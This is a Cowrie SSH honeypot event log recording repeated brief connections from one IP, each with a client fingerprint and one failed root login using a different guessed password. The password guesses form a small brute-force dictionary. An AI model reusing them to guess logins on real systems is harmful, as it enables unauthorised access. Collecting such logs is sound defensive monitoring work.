{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:16.399245Z","src_ip":"60.165.124.241","session":"745b4e180b2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:16.666748Z","src_ip":"60.165.124.241","session":"745b4e180b2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PassW0rd","message":"login attempt [root/PassW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:17.457510Z","src_ip":"60.165.124.241","session":"745b4e180b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:18.717899Z","src_ip":"60.165.124.241","session":"745b4e180b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45550,"dst_ip":"10.17.0.5","dst_port":22,"session":"5540579d64b8","protocol":"ssh","message":"New connection: 60.165.124.241:45550 (10.17.0.5:22) [session: 5540579d64b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:18.947830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:18.951357Z","src_ip":"60.165.124.241","session":"5540579d64b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:19.199379Z","src_ip":"60.165.124.241","session":"5540579d64b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zz123456.","message":"login attempt [root/Zz123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:19.937845Z","src_ip":"60.165.124.241","session":"5540579d64b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:21.186152Z","src_ip":"60.165.124.241","session":"5540579d64b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48662,"dst_ip":"10.17.0.5","dst_port":22,"session":"d52682dbe2a5","protocol":"ssh","message":"New connection: 60.165.124.241:48662 (10.17.0.5:22) [session: d52682dbe2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:21.411263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:21.416728Z","src_ip":"60.165.124.241","session":"d52682dbe2a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:21.652209Z","src_ip":"60.165.124.241","session":"d52682dbe2a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nvidia","message":"login attempt [root/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:22.370341Z","src_ip":"60.165.124.241","session":"d52682dbe2a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:23.621241Z","src_ip":"60.165.124.241","session":"d52682dbe2a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51392,"dst_ip":"10.17.0.5","dst_port":22,"session":"659d0e085935","protocol":"ssh","message":"New connection: 60.165.124.241:51392 (10.17.0.5:22) [session: 659d0e085935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:23.866765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:23.871907Z","src_ip":"60.165.124.241","session":"659d0e085935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:24.110387Z","src_ip":"60.165.124.241","session":"659d0e085935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jingxy2023++","message":"login attempt [root/Jingxy2023++] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:24.826345Z","src_ip":"60.165.124.241","session":"659d0e085935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:26.067079Z","src_ip":"60.165.124.241","session":"659d0e085935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54422,"dst_ip":"10.17.0.5","dst_port":22,"session":"c798132413cd","protocol":"ssh","message":"New connection: 60.165.124.241:54422 (10.17.0.5:22) [session: c798132413cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:26.300196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:26.305213Z","src_ip":"60.165.124.241","session":"c798132413cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:26.545152Z","src_ip":"60.165.124.241","session":"c798132413cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dingdong123","message":"login attempt [root/dingdong123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:27.282669Z","src_ip":"60.165.124.241","session":"c798132413cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:28.521804Z","src_ip":"60.165.124.241","session":"c798132413cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57226,"dst_ip":"10.17.0.5","dst_port":22,"session":"69a74d55a883","protocol":"ssh","message":"New connection: 60.165.124.241:57226 (10.17.0.5:22) [session: 69a74d55a883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:28.759925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:28.764548Z","src_ip":"60.165.124.241","session":"69a74d55a883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:29.006383Z","src_ip":"60.165.124.241","session":"69a74d55a883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1s2d3f4","message":"login attempt [root/A1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:29.733449Z","src_ip":"60.165.124.241","session":"69a74d55a883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:30.980196Z","src_ip":"60.165.124.241","session":"69a74d55a883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60250,"dst_ip":"10.17.0.5","dst_port":22,"session":"05989475496a","protocol":"ssh","message":"New connection: 60.165.124.241:60250 (10.17.0.5:22) [session: 05989475496a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:31.217569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:31.221226Z","src_ip":"60.165.124.241","session":"05989475496a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:31.462939Z","src_ip":"60.165.124.241","session":"05989475496a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aaA","message":"login attempt [root/123456aaA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:32.203534Z","src_ip":"60.165.124.241","session":"05989475496a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:33.449411Z","src_ip":"60.165.124.241","session":"05989475496a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35140,"dst_ip":"10.17.0.5","dst_port":22,"session":"08dfa52112e9","protocol":"ssh","message":"New connection: 60.165.124.241:35140 (10.17.0.5:22) [session: 08dfa52112e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:33.713561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:33.717623Z","src_ip":"60.165.124.241","session":"08dfa52112e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:33.967866Z","src_ip":"60.165.124.241","session":"08dfa52112e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lkj@8970","message":"login attempt [root/Lkj@8970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:34.736393Z","src_ip":"60.165.124.241","session":"08dfa52112e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:36.000628Z","src_ip":"60.165.124.241","session":"08dfa52112e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37936,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ccff4ee6527","protocol":"ssh","message":"New connection: 60.165.124.241:37936 (10.17.0.5:22) [session: 4ccff4ee6527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:36.231725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:36.235657Z","src_ip":"60.165.124.241","session":"4ccff4ee6527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:36.488649Z","src_ip":"60.165.124.241","session":"4ccff4ee6527","protocol":"ssh"}
